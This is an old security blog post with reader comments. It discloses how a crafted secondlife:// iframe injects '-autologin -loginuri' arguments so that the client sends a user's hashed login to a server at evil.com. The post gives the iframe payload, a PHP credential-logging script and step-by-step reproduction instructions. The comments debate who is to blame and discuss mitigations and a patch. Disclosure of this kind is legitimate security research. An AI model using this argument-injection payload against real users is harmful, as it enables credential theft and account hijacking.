IE Pwns SecondLife

Sun, 16 Sep 2007 10:37:53 GMT
by pdp

First of all, I must say that I am not really a bug hunter. I am more on the side of tactical exploitation - you know figuring out your way through the system even if it requires bug hunting and reverse engineering at the end. Anyway, the news is that IE (Internet Explorer) pwns SecondLife.

Before going into details why and how it happens, I would like to bring your attention on SecondLife for a moment. For those of you who don't follow developing technologies, SecondLife is a massive virtual world located on a couple of hundred workstations on-line. The cool thing about SecondLife is that you can do all kinds of things, like expressing your artistic side, communicating and of course making business. There is some money into SecondLife. Not that long time ago, there was this girl who made $1000000 (a million) out of the on-line world. This means that crooks maybe after your virtual persona rather then your physical self. Therefore, security in virtual worlds may become almost as important as security in the physical world.

Now let's get back to the real issue. Attackers can steal the victim's login credentials, therefore hijacking their virtual, SecondLife persona, by simply tricking the victim into visiting a malicious Web page. Here is an example:

<iframe src='secondlife://" -autologin -loginuri "http://evil.com/sl/record-login.php'></iframe>

Upon visiting the malicious page, the SecondLife client will launch and try to login automatically (-autologin) via the CGI located at http://evil.com/sl/record-login.php. At that moment, the following request is generated to the malicious CGI script. Yes, it is XML-RPC remote call:

[HTTP_RAW_POST_DATA] => <methodCall>
    <methodName>login_to_simulator</methodName>
    <params>
        <param>
            <value>
                <struct>
                    <member>
                        <name>first</name>
                        <value>
                        <string>Elm</string>
                    </value>
                </member>
                <member>
                    <name>last</name>
                    <value>
                    <string>Blanco</string>
                </value>
            </member>
            <member>
                <name>passwd</name>
                <value>
                    <string>$1$**[MD5 Hash of the password here]**</string>
                </value>
            </member>
            <member>
                <name>start</name>
                <value>
                    <string>last</string>
                </value>
            </member>
            <member>
                <name>version</name>
                <value>
                    <string>1.18.2.0</string>
                </value>
            </member>
            <member>
                <name>channel</name>
                <value>
                    <string>Second Life Release</string>
                </value>
            </member>
            <member>
                <name>platform</name>
                <value>
                    <string>Win</string>
                </value>
            </member>
            ...
            ...
            ...
</methodCall>

Notice [MD5 Hash of the password here] place holder. This is where the user password is located. The password is MD5 hashed for security reasons. Well, this is definitely a good thing, although completely pointless since there are plenty of rainbow tables out there, which attackers can use to convert the hash back to a normal string.

Keep in mind that most attackers don't even have to convert the hash back to a password string. Attackers can login with the hash itself by forging a request to one of the SecondLife authentication servers. The unhashed password is only needed in situations where the attacker wants to explore other on-line service the victim is currently registered with.

Unfortunately, I cannot construct on-line proof of concept, due to the fact that I need to expose this server to all sorts of attacks, but you can try to repeat my steps. Here is how you can do it:

  1. Get Apache with PHP
  2. Put the following script into a file called _login.php_:
    <?php
    ob_start();
    print_r($GLOBALS);
    error_log(ob_get_contents(), 0);
    ob_end_clean();
    ?>
  3. Tail -f the PHP error log file. Or if you don't know what I am talking about, just skip this step.
  4. Make a page with the following HTML body:
    <iframe src='secondlife://" -autologin -loginuri "http://localhost/login.php'></iframe>
  5. Open the page inside Internet Explorer (both IE6 and IE7 are exploitable).
  6. After the SecondLife client fails to login, you will get a message within your php error log, which gives you the credentials plus some other useful info about the victim.

It is that simple. It is automatic and the user doesn't have to do anything. In other words, no user interaction is required. I would rate this issue as Medium risk although if the victim have a lot of Linden dollars ($L) then the situation becomes quite critical (from personal point of view). At the time of writing 1$ can be exchanged for 268.15$L.

Archived Comments

Giorgio MaoneGiorgio Maone
pdp, don't dare to tell "IE is exploitable"! Don't forget that, according to Microsoft, the problem here is Second Life trusting too much that funny trickster of the browser ;)
blad3blad3
Very cool pdp, IMHO this is a new class of attacks.
pdppdp
Giorgio, really? Is that their official statement? You joker!
Giorgio MaoneGiorgio Maone
Petko, yes (sort of). Didn't you see my trackback, http://hackademix.net/2007/09/16/ie-non-bug-vs-second-life/ ?
RonaldRonald
comments are broken PDP.
RonaldRonald
PDP, actually this is CSRF. ^^
Nathan McFetersNathan McFeters
Actually Ronald, it's not just CSRF. It's URI exploitation, command argument injection, leading to CSRF and some other shadiness. Nice work PDP, it's good to see some others capitalizing on the URI exploitation work Rios and I have been working on. This seems very similar to our sploit against Picasa.
Awesome AnDrEwAwesome AnDrEw
These issues are becoming more amusing each and every day. I think we should start classifying them with a fake acronym like "IEPWNS" as BK and the others finding these issues have been labeling their posts with such titles over at sla.ckers. But yeah this is a pretty cool vulnerability, PDP.
djtellerdjteller
Very nice, it's a mix of CSRF and a new attack vector, Tactical exploitation that's the buzzword ;)
dandellion Kimbandandellion Kimban
I really cannot understand why anybody uses IE. And especially people who are into something more than browsing of simple pages from the past century. But, according to the stats of my blog, there are SL rezidents who use IE.
pdppdp
dandellion Kimban, well maybe you are secure for now. With my next post, I will show you that even if you are not using IE, you are still vulnerable to IE's problems.
dandellion Kimbandandellion Kimban
pdp, please do.
EthanEthan
It's hard to blame either party completely for this. The real problem is this persistent idea that custom protocol handlers are a good thing. They're not. Their whole purpose is to give remote, untrusted content command-line-ish access to the handler's program. That's a bad idea. SL can blame IE for not sanitizing. IE can blame SL for respecting -autologin from a custom handler. I blame them both. SL should never have registered a handler, and browsers should stop permitting them in general. -Ethan
Smiley BarrySmiley Barry
OUCH! I use Firefox, still, the 'secondlife://' protocol is Firefox and IE compatible @.@ . And, I got Firefox to "not ask me" X.X . So, anybody know how to reverse that tiny checkbox? X.X
Smiley BarrySmiley Barry
Found it! Fixed and done *PHEW* :-).
SalusaSalusa
It would seem to me that the blame for this lands solidly on SecondLife. Let's count the problems: 1) Not sanity checking the results of URL handlers. (Note that MS does explain that it passes the string on to you unmodified, thus they can hardly blame IE for behaving as documented. http://msdn2.microsoft.com/en-us/library/aa767914.aspx) 2) Allowing the login information to be sent in the clear. (I notice that HTTP not HTTPS is used here.) 3) Not protecting the credentials. Since, as you note, the hash of the password is as good as the password itself, they gain no (real) benefit by passing it as opposed to raw password. Clearly, they need to re-work their authentication frame-work.
Aidan ThorntonAidan Thornton
Actually, IIRC the hash of the password isn't quite as good as the password itself. The hash is sufficient to log into the Second Life grid and steal the victim's L$, but it isn't sufficient to log in to secondlife.com. In particular, I think changing a user's password or e-mail address can't be done using just the hash. Fortunately, there's a workaround for this vulnerability - disable saved passwords and enter your password by hand each time you login. (Oh, and be wary of secondlife:// links.) Also, in this case there's a good reason for the URL handler - it's used for linking from websites to locations inworld. Not essential, but definitely nice to have.
Aidan ThorntonAidan Thornton
Oh, and normally the login information is sent over https - it's just that the command-line option to select where to login accepts non-https URLs. (There are times when it's useful to be able to login to somewhere else - for example, the OpenSim project.)
SimilesSimiles
Hi, I did some testing : - On windows, I've retrieved the exact same credentials by accessing the page in both IE and FF, making both exploitable. - On Mac OS however, the URL is taken as a map location, the hack doesn't occur, it might if you change the URL syntax for the Mac client.
Jonash VanaltenJonash Vanalten
I've produced a binary patch for the current windows viewer which disables the -loginuri feature and so should prevent the exploit working. I've attached this patch to the JIRA entry for this bug. If you don't want to wait for the update from Linden, this should corect the issue: http://jira.secondlife.com/browse/VWR-2508
MustLiveMustLive
pdp, nice one! It's nice URI exploitation, CSRF and Information leakage vulnerabilities joint into one attack. Yes, IE help to pwns SecondLife ;-). And MS will not take any responsibility for their IE "URI feature" :-), so SL need to fix it in their software. Like all others vendors which products are vulnerable to URI exploitation holes. Nathan and Rios work a lot in case of URI exploitation and command argument injection, and pdp make his contribution. It is new attack surface guys. So every user of SecondLife (and any other software with its own url-handlers) need to attend to security (especially if they use IE). Waiting for new URI-exploit holes.
JEBJEB
I cannot locate my php error file, or at least it doesn't appear to contain any fresh information, after testing this!
pdppdp
which version are you testing this on?
Cose LefevreCose Lefevre
Wooo I'm confused, how to build this myself to test it - I have uploaded index & login.php, that works, where do I go from here?!?
bobalotbobalot
does this even work anymore? i tryied it and nothing appears in my error folder afterward.
pdppdp
it is not working because this is an old bug and you are probably using not vulnerable version of second life.
bobalotbobalot
o ok well thank you. Honestly wasnt expecting a response wince this eas made so long ago lol. Thanks a ton :D
pdppdp
np! :)